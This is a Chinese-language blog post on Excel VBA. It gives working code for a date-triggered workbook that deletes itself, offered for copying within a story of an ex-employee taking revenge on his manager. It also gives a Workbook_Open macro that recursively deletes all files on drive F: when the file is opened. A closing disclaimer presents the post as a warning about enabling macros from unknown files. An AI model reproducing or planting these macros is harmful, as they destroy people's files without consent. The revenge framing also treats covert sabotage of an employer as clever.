一、
山的那邊海的那邊……有位Excel高手……他在一家商務公司上班......辛苦的寫出好用EXCEL。
~~~Long time Ago~~~
他有一份Excel工作簿，通過VBA程式設計將日常工作通通自動化了。他每天閒的除了划手機就是玩電腦，他主管看他不順眼，三番兩次刁難他。於是他聳聳肩宣佈辭職……

臨走前，他將那份好用的Excel工作簿留給了主管。主管覺得那份Excel工作簿真好用，公司沒有必要再招新員工了；主管又覺得那孩子真傻，這麼好的東西居然白白留給公司，真是個87啊……
過了幾天，主管開啟那份Excel工作簿，打算像往常那樣滑鼠點點處理問題，Excel突然彈出一條資訊：



主管一臉傻樣……
然後，這份工作簿就從主管的電腦裡消失了，就像從來沒存在過一樣。
如果你需要一份擁有自殺功能的Excel工作簿，將下面的程式碼複製到該工作簿VBE視窗的ThisWorkbook的程式碼視窗內，儲存退出就可以了。
Private Sub 自殺小軟體()
    If Date >= "2017-10-1" Then
        Application.DisplayAlerts = False
        MsgBox "您好!今天是我們最後一面，我要自殺了~掰掰"
        With ThisWorkbook
            .Saved = True
            .ChangeFileAccess xlReadOnly
            Kill .FullName
            .Close
        End With
    End If
End Sub

該段程式碼使用了工作簿開啟事件，顧名思義，就是工作簿開啟時執行相關程式碼。它設定的自殺條件是，當前電腦時間大於等於2017年10月1日。您可以根據自身需要進行相應調整……
二、
聊完了“自殺”，咱們再聊“殺人”……
巨集病毒藉助和OFFICE辦公軟體的親密關係，一直擁有強大的破壞性，它可以肆意刪除或加密電腦中的文件、竊取使用者帳號密碼……等等。
以為這很高階？很複雜？和你很遙遠？非黑客不能為？
錯！
其實這些事兒很簡單。
舉個小例子。
還記得嗎，上期我們分享了批量刪除Excel工作簿的小程式碼。如果藉助Excel工作簿開啟事件，結合那期的程式碼，當你啟用巨集，開啟含該程式碼的工作簿，然後……你就會發現電腦F槽中大量的文件都被刪除了。
程式碼：
Private Sub Workbook_Open()
    p = "F:\"
    Call Killy(p) \'呼叫FSO遍歷子文件夾的遞迴過程
End Sub
Function Killy(p)
    On Error Resume Next
    Application.DisplayAlerts = False
    Set fld = CreateObject("Scripting.FileSystemObject").GetFolder(p)
    Kill fld.Path & "\*.*"
    For Each fd In fld.SubFolders
        Call Killy(fd.Path)
    Next
End Function
三、
“自殺和殺人”不是為了讓大家做壞事……
“自殺和殺人”不是為了讓大家做壞事……
“自殺和殺人”不是為了讓大家做壞事……
重要的事情說三遍……
請各位千萬不要手賤去嘗試那段殺人的程式碼……
這些只是告訴大家，不要輕易啟用來歷不明的巨集文件……